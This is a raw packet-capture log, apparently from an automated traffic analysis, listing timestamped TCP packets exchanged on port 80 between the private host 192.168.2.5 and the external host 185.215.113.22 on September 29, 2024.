Sep 29, 2024 09:44:10.899511099 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899568081 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899585009 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899612904 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899624109 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899652958 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899678946 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899699926 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904540062 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904599905 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904623032 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904664993 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904676914 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904719114 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904730082 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904767036 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904783964 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904824018 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904833078 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904874086 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904890060 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904915094 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.904931068 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904952049 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.904956102 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905011892 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905020952 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905066967 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905075073 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905112982 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905128002 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905169010 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905184984 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905209064 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905249119 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905272007 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905282021 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905289888 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905311108 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905330896 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905333996 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905369997 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905385971 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905410051 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905414104 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905458927 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905493021 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905534029 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905543089 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905571938 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905581951 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905612946 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905617952 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905653000 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905662060 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905694008 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.905699968 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.905742884 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.909264088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.909313917 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910531998 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910573006 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910583973 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910623074 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910634995 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910676956 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910684109 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910717010 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910725117 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910767078 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910778046 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910820007 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910862923 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910867929 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910902023 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910912991 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910943031 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910949945 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.910984039 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.910993099 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.911024094 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911036968 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.911075115 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.911092997 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911134005 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911173105 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911211967 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911252022 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911289930 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911329031 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911367893 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911437988 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911478043 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911516905 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911556005 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911595106 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911633968 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911673069 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911712885 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911752939 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911792040 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911829948 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911869049 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911931992 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.911973000 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912013054 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912051916 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912091017 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912130117 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912169933 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912208080 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912249088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912271976 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.912292004 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912324905 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.912336111 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912375927 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912414074 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912452936 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912492037 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912528992 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912565947 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912605047 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912640095 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912678003 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912719965 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912760019 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912798882 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912837982 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912879944 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912926912 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.912966013 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913006067 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913044930 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913084030 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913124084 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913162947 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.913202047 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.914170980 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.914261103 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918121099 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918164968 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918203115 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918267012 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918307066 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918344975 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918384075 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918423891 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918462992 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918502092 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918540955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918580055 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918633938 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918673038 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918741941 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918782949 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918823004 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918863058 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918903112 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918942928 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.918982029 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919022083 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919061899 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919101954 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919140100 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919178009 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919217110 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919255972 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919255972 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.919291973 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919306993 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.919336081 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919377089 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919461966 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919501066 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919540882 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919579983 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919616938 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919655085 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919694901 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919754028 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919805050 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919843912 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919882059 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919920921 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919960022 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.919998884 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920037985 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920080900 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920123100 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920160055 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920200109 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920238972 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920278072 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920316935 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920356035 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920393944 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920432091 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920475960 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920515060 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920552969 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920592070 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920629978 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920667887 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920706034 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920747995 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920794964 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920834064 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920871973 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920911074 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920948982 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.920988083 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921026945 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921065092 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921103954 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921142101 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921180964 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921216011 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.921255112 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926145077 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926186085 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926245928 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926286936 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926314116 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.926326036 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926367044 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.926369905 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926410913 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926470041 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926510096 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926548958 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926587105 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926624060 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926662922 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926702976 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926759005 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926795006 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926848888 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926887989 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926935911 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.926974058 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927011967 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927050114 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927109957 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927150011 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927187920 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927227020 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927264929 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927303076 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927341938 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927381039 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927445889 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927484989 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927524090 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927562952 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927602053 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927637100 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927675962 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927714109 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927752972 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927789927 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927829027 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927866936 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927906036 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927944899 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.927983999 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928023100 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928065062 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928112030 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928152084 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928189993 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928227901 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928267956 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.928307056 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933182955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933224916 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933285952 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933326960 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933348894 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.933366060 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933407068 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933408976 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.933445930 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933506012 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933547020 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933583021 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933621883 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933661938 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933701038 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933739901 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933779955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933818102 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933856964 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933895111 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933933020 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.933971882 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934011936 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934077024 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934114933 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934154034 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934194088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934232950 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934271097 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934310913 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934350967 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934389114 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934425116 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934461117 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934501886 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934540987 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934580088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934617996 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934658051 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934703112 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934741974 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934779882 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934819937 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934859037 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934896946 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934935093 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.934973955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935018063 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935065985 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935105085 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935143948 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935183048 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935223103 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935260057 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.935298920 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940121889 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940191984 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940232038 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940293074 CEST	80	49704	185.215.113.22	192.168.2.5
